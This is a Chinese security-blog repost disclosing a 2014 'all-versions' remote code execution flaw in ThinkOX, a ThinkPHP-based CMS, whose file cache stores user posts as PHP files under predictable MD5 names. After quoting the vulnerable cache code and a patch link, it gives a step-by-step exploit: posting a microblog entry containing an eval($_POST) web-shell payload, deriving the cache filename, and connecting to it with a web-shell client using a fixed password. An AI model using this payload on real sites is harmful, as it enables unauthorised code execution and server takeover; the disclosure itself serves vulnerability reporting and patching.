记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

ThinkOX全版本通杀0day

2014-12-12 21:15

影响版本:
ThinkOX全版本通杀(onethink和thinkphp框架可能会受影响,具体懒得去做,谁有兴趣自己分析。)

漏洞描述:
通过动态缓存机制,输入非法内容。恶意执行php代码。

修复方案:
临时解决方案,通过强化缓存的文件名规则,让动态缓存文件难以被反向找到。

修复补丁下载http://pan.baidu.com/s/1gdAFMSz

详细描述:

    CnSeuTeam在2014.11.11重新建站,为了区别以前的风格,我们重(bei)新(bi)改(wu)版(nai),我们就使用到了ThinkOX这套基于onethink和thinkphp框架的程序。

    为了站点安全考虑,所以很多会员问我们使用到什么程序的时候,我们没有明确的去告知,只是想用更多的时间去了解这个系统,并进行众多bug、漏洞的修复,直到近期完善了所有安全配置,也审计了大部分的代码。(其实我特烦thinkphp的结构,不过摸清楚了倒是感觉挺有意思的。)

    在前天的时候,有个会员说用户名长度超过12字符后无法修改个性签名,正好我刚刚起床闲着,所以就去修复了,依稀记得我已经很久没挖洞了,不过为了网站安全,没办法,谁让咱们CnSeuTeam也用这个ThinkOX程序呢。(其实我想说那天我看代码看入迷了,看了一下午。。。)



    在发现此框架会写出一个Runtime临时文件夹进行缓存的时候,我突然脑洞大开,虽然不怎么熟悉thinkphp但愣是去查了个遍,然后。。。。就没有然后了。。。(2333333)



问题代码部分:


路径:ThinkPHP\Library\Think\Cache\Driver\File.class.php

/**

* 取得变量的存储文件名

* @access private

* @param string $name 缓存变量名

* @return string

*/

private function filename($name) {

$name = md5($name);

if(C('DATA_CACHE_SUBDIR')) {

// 使用子目录




$dir ='';

for($i=0;$ioptions['temp'].$dir)) {

mkdir($this->options['temp'].$dir,0755,true);

}

$filename = $dir.$this->options['prefix'].$name.'.php';

}else{

$filename = $this->options['prefix'].$name.'.php';

}

return $this->options['temp'].$filename;

}


    明白了吧。。。尼玛脑洞大开呀。。。。。



漏洞利用方法:(仅供技术研究,请勿非法使用,由此产生的后果自行负责!)

第一步.注册ThinkOX

第二步.发布微博

;}//;

@eval($_POST['cnseu']);?>

//

第三步.审查元素查看Weibo_ID

第四步.将Weibo_ID转换成16位MD5

第五步.进入拿出菜刀连接http://xxxxxxx/Runtime/Temp/7e565e1bdae3c535dc0a559bcb5c83cd.php 密码:cnseu
知识来源: www.2cto.com/Article/201412/360495.html

阅读:132405 | 评论:0 | 标签:0day

想收藏或者和大家分享这篇好文章→复制链接地址

“ThinkOX全版本通杀0day”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云